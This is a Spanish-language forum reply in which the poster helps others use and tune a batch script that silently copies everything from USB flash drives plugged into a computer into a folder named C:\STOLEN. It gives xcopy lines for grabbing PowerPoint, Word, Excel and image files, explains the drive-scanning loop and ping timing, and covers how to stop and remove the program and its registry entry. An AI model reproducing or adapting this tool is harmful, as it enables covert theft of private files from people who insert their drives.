Vamos a ver que os estáis liando un poco...
Te aclaro lo que intentabais averiguar WestOn y tú...
Para añadir nuevas unidades al chequeo hay que seguir este patrón:
· Escaneamos la primera unidad (P.E: la E)
· Si existe, pasamos a la fase de copiado de esa unidad
· Si no existe, pasamos a la fase de chequeo de la unidad siguiente
· Si existe, cuando acabe de copiarse, que pase a la fase de chequeo de la unidad siguente
· Cuando lleguemos a la última unidad, en vez de seguir en la siguiente redireccionamos ambas a la primera.
De otro modo no funcionará.
Respecto al proceso XCOPY.exe que estaba en ejecución... si te fijas en el código se hace referencia al xcopy. ¿Qué es esto? Pues es un archivo ejecutable que funciona a través de la cmd y cuya función es copiar, en este caso el contenido íntegro de las memorias flash.
Si en vez de copiarlo todo sólo quieres copiar un cierto tipo de archivos, cambia la parte del código (en la que se llama al xcopy) que pone *.* por *.loquesea, siendo "loquesea" la extensión del tipo de archivos que quieras copiar. Puedes usar varias líneas para copiar distintos tipos de archivo. Me explico:
En caso de que quisieras copiar archivos de PowerPoint, cambiarías esto:
xcopy H:\*.* C:\STOLEN\*.* /E /I
Por esto:
xcopy H:\*.* C:\STOLEN\*.ppt /E /I
xcopy H:\*.* C:\STOLEN\*.pps /E /I
Y así para distintos tipos de archivo, por ejemplo:
xcopy H:\*.* C:\STOLEN\*.doc /E /I
xcopy H:\*.* C:\STOLEN\*.xls /E /I
xcopy H:\*.* C:\STOLEN\*.jpg /E /I
Si quieres copiar archivos de un cierto nombre, cambia el primer asterisco por el nombre que quieras copiar. Los asteriscos (*) hacen referencia a cadenas de caracteres indeterminados de longitud indeterminada. Las interrogaciones (?) hacen referencia a un solo caracter indeterminado.
No olvides que si vas a usar nombres de más de ocho letras o con espacios, o extensiones de más de tres letras (Formato 8/3) debes entrecomillar la ruta completa.
Respecto a que las memorias flash se puedan extraer de forma segura... la única forma es esperando a que acabe de copiar archivos y ampliando el tiempo de los pings. (Sólo puedes extraer una memoria flash de forma segura cuando no se está copiando ni comprobando nada, y esto se produce en el tiempo que dura el ping...) prueba a ampliarlo a tu gusto.
En cuanto a lo de que no se deja reiniciar, es porque el programa está haciendo su trabajo. Si quieres hacer que se pare por completo tienes dos opciones, o ir al administrador de tareas y parar los procesos correspondientes (el ping.exe, el xcopy.exe, el cmd.exe y %elnombredetuejecutable%.exe). Esto lo puedes automatizar en un batch de la siguiente forma:
Taskkill /IM cmd.exe /f
(supongo que al parar el cmd.exe se paran los otros, si no añade sus nombres de la misma forma)
Shutdown -r -t XX
Siendo -r la opción de reinicio (la de apagado es -s) y las XX el tiempo en segundos (P.Ej: 30, 03, 00...)
Respecto a lo de la desinstalación... debes borrar el ejecutable que hayas creado MIENTRAS ESTÉ PARADO (de lo contrario borras el archivo, pero éste sigue cargado en memoria, es decir, ejecutándose), y además la rama del registro que ha creado.
Esto lo puedes borrar desde el MSCONFIG, o si tienes el SpyBot, desde las opciones avanzadas.
Bueno, si te queda alguna duda, házmelo saber y trataré de responderte.
Nos vemos
PD: 8789poli, si te gusta el código se lo agradeces por privado la próxima vez, no vayas creando posts que no aportan nada y no vienen a cuento.
Venga, a cuidarse todos...